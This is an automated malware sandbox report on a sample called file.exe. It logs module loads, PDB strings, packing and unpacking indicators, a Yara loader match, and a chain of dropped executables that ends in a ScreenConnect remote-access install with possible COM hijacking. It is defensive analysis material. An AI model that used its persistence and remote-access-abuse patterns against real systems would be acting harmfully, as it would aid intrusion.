Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: windows.ui.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: windowmanagementapi.dll
Source: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Section loaded: inputhost.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1017680001\ga70pjP.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: installservice.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static file information: File size 3011072 > 1048576

Source: file.exe

Static PE information: Raw size of yedfgeqi is bigger than: 0x100000 < 0x2ad600

Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClientInstallerRunner\obj\Release\ScreenConnect.ClientInstallerRunner.pdb source: ga70pjP.exe, 00000016.00000000.3002227462.00000000007BF000.00000002.00000001.01000000.00000019.sdmp, ga70pjP.exe, 00000016.00000002.3210584122.000000000599C000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsInstaller\obj\Release\net20\ScreenConnect.WindowsInstaller.pdbM source: ga70pjP.exe, 00000016.00000000.3002227462.0000000000296000.00000002.00000001.01000000.00000019.sdmp, ga70pjP.exe, 00000016.00000002.3202614392.0000000005580000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsInstaller\obj\Release\net20\ScreenConnect.WindowsInstaller.pdb source: ga70pjP.exe, 00000016.00000000.3002227462.0000000000296000.00000002.00000001.01000000.00000019.sdmp, ga70pjP.exe, 00000016.00000002.3202614392.0000000005580000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdb source: skotes.exe, 00000006.00000002.3565466179.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, NN9Dd7c.exe, 00000008.00000000.2777700544.0000000000682000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\WindowsInstaller.Package\Microsoft.Deployment.WindowsInstaller.Package.pdb source: Microsoft.Deployment.WindowsInstaller.Package.dll.28.dr
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: f4d805b7c6.exe, 00000013.00000002.2968385759.0000000005270000.00000004.08000000.00040000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2955252675.0000000003991000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002991000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2955252675.0000000003A5D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: f4d805b7c6.exe, 00000013.00000002.2968385759.0000000005270000.00000004.08000000.00040000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2955252675.0000000003991000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002991000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2955252675.0000000003A5D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Compile\screenconnect\Product\WindowsAuthenticationPackage\bin\Release\ScreenConnect.WindowsAuthenticationPackage.pdb source: ScreenConnect.ClientService.exe, 0000001F.00000002.3683574522.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000021.00000002.3642492246.0000000012B80000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: ga70pjP.exe, 00000016.00000002.3200283649.00000000054E0000.00000004.08000000.00040000.00000000.sdmp, ga70pjP.exe, 00000016.00000000.3002227462.0000000000296000.00000002.00000001.01000000.00000019.sdmp, rundll32.exe, 0000001C.00000003.3047650336.00000000044C4000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000021.00000002.3671971413.000000001B962000.00000002.00000001.01000000.00000021.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: ScreenConnect.WindowsClient.exe, 00000021.00000002.3559506540.0000000002B71000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000022.00000002.3562215564.0000000002BB2000.00000002.00000001.01000000.00000020.sdmp, ScreenConnect.WindowsClient.exe, 00000022.00000002.3557880062.0000000001150000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000022.00000002.3565111200.0000000002CB1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\DotNetResolver\obj\Debug\DotNetResolver.pdb source: ga70pjP.exe, 00000016.00000000.3002227462.00000000007BF000.00000002.00000001.01000000.00000019.sdmp, ga70pjP.exe, 00000016.00000002.3197962575.0000000005230000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\src\StoreInstaller\obj\Release\net472\StoreInstaller.pdb source: NN9Dd7c.exe, 00000008.00000002.2976798123.0000000003AD8000.00000004.00000800.00020000.00000000.sdmp, NN9Dd7c.exe, 00000008.00000002.2976798123.00000000039D7000.00000004.00000800.00020000.00000000.sdmp, 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000000.2953565297.0000019A3DE62000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 0000001F.00000000.3077135712.0000000000F3D000.00000002.00000001.01000000.0000001F.sdmp
Source:	Binary string: D:\a\_work\1\s\src\StoreInstaller\obj\Release\net472\StoreInstaller.pdbSHA256\u source: NN9Dd7c.exe, 00000008.00000002.2976798123.0000000003AD8000.00000004.00000800.00020000.00000000.sdmp, NN9Dd7c.exe, 00000008.00000002.2976798123.00000000039D7000.00000004.00000800.00020000.00000000.sdmp, 1156a90bbe2d483ebd285d59075df6eb.exe, 00000015.00000000.2953565297.0000019A3DE62000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: ga70pjP.exe, 00000016.00000002.3203015724.00000000055A0000.00000004.08000000.00040000.00000000.sdmp, ga70pjP.exe, 00000016.00000002.3115608958.0000000003E73000.00000004.00000800.00020000.00000000.sdmp, ga70pjP.exe, 00000016.00000000.3002227462.0000000000296000.00000002.00000001.01000000.00000019.sdmp, rundll32.exe, 0000001C.00000003.3047650336.0000000004449000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000021.00000002.3720350204.000000001BD45000.00000002.00000001.01000000.00000022.sdmp
Source:	Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\Compression.Cab\Microsoft.Deployment.Compression.Cab.pdb source: rundll32.exe, 0000001C.00000003.3047650336.00000000044B8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000001C.00000003.3051636851.00000000040F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdbdj~j pj_CorExeMainmscoree.dll source: skotes.exe, 00000006.00000002.3565466179.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, NN9Dd7c.exe, 00000008.00000000.2777700544.0000000000682000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\build\work\eca3d12b\wix3\build\ship\x86\wixca.pdb source: ga70pjP.exe, 00000016.00000002.3228594051.0000000006D0A000.00000004.00000800.00020000.00000000.sdmp, ga70pjP.exe, 00000016.00000002.3210584122.000000000599C000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\build\work\eca3d12b\wix3\build\obj\ship\x86\Compression\Microsoft.Deployment.Compression.pdb source: rundll32.exe, 0000001C.00000003.3047650336.0000000004449000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdbS] source: ga70pjP.exe, 00000016.00000002.3203015724.00000000055A0000.00000004.08000000.00040000.00000000.sdmp, ga70pjP.exe, 00000016.00000002.3115608958.0000000003E73000.00000004.00000800.00020000.00000000.sdmp, ga70pjP.exe, 00000016.00000000.3002227462.0000000000296000.00000002.00000001.01000000.00000019.sdmp, rundll32.exe, 0000001C.00000003.3047650336.0000000004449000.00000004.00000020.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000021.00000002.3720350204.000000001BD45000.00000002.00000001.01000000.00000022.sdmp
Source:	Binary string: screenconnect_windows_credential_provider.pdb source: ScreenConnect.ClientService.exe, 0000001F.00000002.3683574522.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000021.00000002.3642492246.0000000012B80000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 00000021.00000000.3114073249.0000000000A82000.00000002.00000001.01000000.00000025.sdmp
Source:	Binary string: E:\delivery\Dev\wix37_public\build\ship\x86\SfxCA.pdb source: ga70pjP.exe, 00000016.00000002.3115608958.000000000412C000.00000004.00000800.00020000.00000000.sdmp, ga70pjP.exe, 00000016.00000000.3002227462.0000000000691000.00000002.00000001.01000000.00000019.sdmp, ga70pjP.exe, 00000016.00000002.3210584122.0000000005996000.00000004.08000000.00040000.00000000.sdmp, ga70pjP.exe, 00000016.00000002.3228594051.0000000006A19000.00000004.00000800.00020000.00000000.sdmp, ga70pjP.exe, 00000016.00000002.3115608958.000000000432C000.00000004.00000800.00020000.00000000.sdmp, ga70pjP.exe, 00000016.00000002.3263807870.00000000077E4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdbu source: ScreenConnect.WindowsClient.exe, 00000021.00000000.3114073249.0000000000A82000.00000002.00000001.01000000.00000025.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdbi source: ScreenConnect.WindowsClient.exe, 00000022.00000002.3558773443.0000000001172000.00000002.00000001.01000000.00000023.sdmp
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: ScreenConnect.WindowsClient.exe, 00000022.00000002.3558773443.0000000001172000.00000002.00000001.01000000.00000023.sdmp
Source:	Binary string: screenconnect_windows_credential_provider.pdb' source: ScreenConnect.ClientService.exe, 0000001F.00000002.3683574522.00000000024B7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000021.00000002.3642492246.0000000012B80000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewText.pdb source: skotes.exe, 00000006.00000002.3565383370.0000000001070000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetRunner.pdb source: ga70pjP.exe, 00000016.00000000.3002095839.000000000028D000.00000002.00000001.01000000.00000019.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.b40000.0.unpack :EW;.rsrc:W;.idata :W;yedfgeqi:EW;daxgiqes:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;yedfgeqi:EW;daxgiqes:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.7a0000.0.unpack :EW;.rsrc:W;.idata :W;yedfgeqi:EW;daxgiqes:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;yedfgeqi:EW;daxgiqes:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.7a0000.0.unpack :EW;.rsrc:W;.idata :W;yedfgeqi:EW;daxgiqes:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;yedfgeqi:EW;daxgiqes:EW;.taggant:EW;

Yara detected Costura Assembly Loader

Source: Yara match	File source: 19.2.f4d805b7c6.exe.5110000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.f4d805b7c6.exe.39bd790.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.2938375851.0000000002BB3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2955252675.0000000003991000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2965984088.0000000005110000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2938375851.0000000002991000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: f4d805b7c6.exe PID: 6932, type: MEMORYSTR

Source: NN9Dd7c[1].exe.6.dr

Static PE information: 0x94370F66 [Sun Oct 18 12:19:50 2048 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 3d9e1171bb.exe.6.dr	Static PE information: real checksum: 0x44ba46 should be: 0x44628d
Source: 1156a90bbe2d483ebd285d59075df6eb.exe.8.dr	Static PE information: real checksum: 0x10c5c5 should be: 0x10b49f
Source: 20eec459fe6c4c019b42190414a26a1f.exe.8.dr	Static PE information: real checksum: 0x0 should be: 0x243ba
Source: random[1].exe.6.dr	Static PE information: real checksum: 0x44ba46 should be: 0x44628d
Source: random[2].exe0.6.dr	Static PE information: real checksum: 0x0 should be: 0x6066
Source: f4d805b7c6.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x11353a
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x1ceb69 should be: 0x1dabc0
Source: f5272cef3f.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x6066
Source: random[1].exe2.6.dr	Static PE information: real checksum: 0x1f8adc should be: 0x16c2fe
Source: 192facf4de.exe.6.dr	Static PE information: real checksum: 0x1f8adc should be: 0x16c2fe
Source: 54ad0685cd.exe.6.dr	Static PE information: real checksum: 0x1ceb69 should be: 0x1dabc0
Source: NN9Dd7c[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x14b59
Source: file.exe	Static PE information: real checksum: 0x2dfc2c should be: 0x2e0b6d
Source: NN9Dd7c.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x14b59
Source: ga70pjP[1].exe.6.dr	Static PE information: real checksum: 0x54d1c1 should be: 0x565c95
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2dfc2c should be: 0x2e0b6d
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x0 should be: 0x11353a
Source: ga70pjP.exe.6.dr	Static PE information: real checksum: 0x54d1c1 should be: 0x565c95

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: yedfgeqi
Source: file.exe	Static PE information: section name: daxgiqes
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: yedfgeqi
Source: skotes.exe.0.dr	Static PE information: section name: daxgiqes
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: gzutziek
Source: random[1].exe.6.dr	Static PE information: section name: ncforays
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: 3d9e1171bb.exe.6.dr	Static PE information: section name:
Source: 3d9e1171bb.exe.6.dr	Static PE information: section name: .idata
Source: 3d9e1171bb.exe.6.dr	Static PE information: section name:
Source: 3d9e1171bb.exe.6.dr	Static PE information: section name: gzutziek
Source: 3d9e1171bb.exe.6.dr	Static PE information: section name: ncforays
Source: 3d9e1171bb.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: xnuzvlhe
Source: random[1].exe1.6.dr	Static PE information: section name: tzuttanx
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: 54ad0685cd.exe.6.dr	Static PE information: section name:
Source: 54ad0685cd.exe.6.dr	Static PE information: section name: .idata
Source: 54ad0685cd.exe.6.dr	Static PE information: section name:
Source: 54ad0685cd.exe.6.dr	Static PE information: section name: xnuzvlhe
Source: 54ad0685cd.exe.6.dr	Static PE information: section name: tzuttanx
Source: 54ad0685cd.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: jznnqulh
Source: random[1].exe2.6.dr	Static PE information: section name: htcteoog
Source: random[1].exe2.6.dr	Static PE information: section name: .taggant
Source: 192facf4de.exe.6.dr	Static PE information: section name:
Source: 192facf4de.exe.6.dr	Static PE information: section name: .idata
Source: 192facf4de.exe.6.dr	Static PE information: section name:
Source: 192facf4de.exe.6.dr	Static PE information: section name: jznnqulh
Source: 192facf4de.exe.6.dr	Static PE information: section name: htcteoog
Source: 192facf4de.exe.6.dr	Static PE information: section name: .taggant
Source: 20eec459fe6c4c019b42190414a26a1f.exe.8.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B5D91C push ecx; ret	0_2_00B5D92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B51359 push es; ret	0_2_00B5135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_007BD91C push ecx; ret	2_2_007BD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_007BD91C push ecx; ret	3_2_007BD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007BD91C push ecx; ret	6_2_007BD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_007BDFC6 push ecx; ret	6_2_007BDFD9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_0479633D push eax; ret	10_2_04796351
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_081B6B6A pushad ; ret	13_2_081B6B71
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081E383F push 00000069h; ret	15_2_081E384B
Source: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Code function: 15_2_081E391D push 00000069h; ret	15_2_081E3921

Source: file.exe	Static PE information: section name: entropy: 7.9888490650240955
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.9888490650240955
Source: random[1].exe.6.dr	Static PE information: section name: gzutziek entropy: 7.954348712022993
Source: 3d9e1171bb.exe.6.dr	Static PE information: section name: gzutziek entropy: 7.954348712022993
Source: random[1].exe0.6.dr	Static PE information: section name: .text entropy: 7.73440914387992
Source: f4d805b7c6.exe.6.dr	Static PE information: section name: .text entropy: 7.73440914387992
Source: random[1].exe1.6.dr	Static PE information: section name: entropy: 7.983709808349382
Source: random[1].exe1.6.dr	Static PE information: section name: xnuzvlhe entropy: 7.953847578299681
Source: 54ad0685cd.exe.6.dr	Static PE information: section name: entropy: 7.983709808349382
Source: 54ad0685cd.exe.6.dr	Static PE information: section name: xnuzvlhe entropy: 7.953847578299681
Source: random[1].exe2.6.dr	Static PE information: section name: entropy: 7.983262520623528
Source: random[1].exe2.6.dr	Static PE information: section name: jznnqulh entropy: 7.9487383497586315
Source: 192facf4de.exe.6.dr	Static PE information: section name: entropy: 7.983262520623528
Source: 192facf4de.exe.6.dr	Static PE information: section name: jznnqulh entropy: 7.9487383497586315

Persistence and Installation Behavior

Possible COM Object hijacking

Source: c:\program files (x86)\screenconnect client (98a59bd0eed9222b)\screenconnect.windowscredentialprovider.dll

COM Object registered for dropped file: hkey_local_machine\software\classes\clsid\{6ff59a85-bc37-4cd4-03bc-f8663411820c}\inprocserver32

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\NN9Dd7c[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017675001\f4d805b7c6.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIA9E9.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\ScreenConnect.InstallerActions.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\MSIA043.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017684001\91f4c82194.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsClient.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Client.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017686001\f5272cef3f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017684001\91f4c82194.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsAuthenticationPackage.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	File created: C:\aqhnzja\1156a90bbe2d483ebd285d59075df6eb.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\ga70pjP[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017666001\NN9Dd7c.exe	File created: C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\ScreenConnect Client (98a59bd0eed9222b)\ScreenConnect.ClientService.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017684001\91f4c82194.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017685001\192facf4de.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\rundll32.exe	File created: C:\Users\user\AppData\Local\Temp\MSIA043.tmp-\Microsoft.Deployment.WindowsInstaller.dll	Jump to dropped file
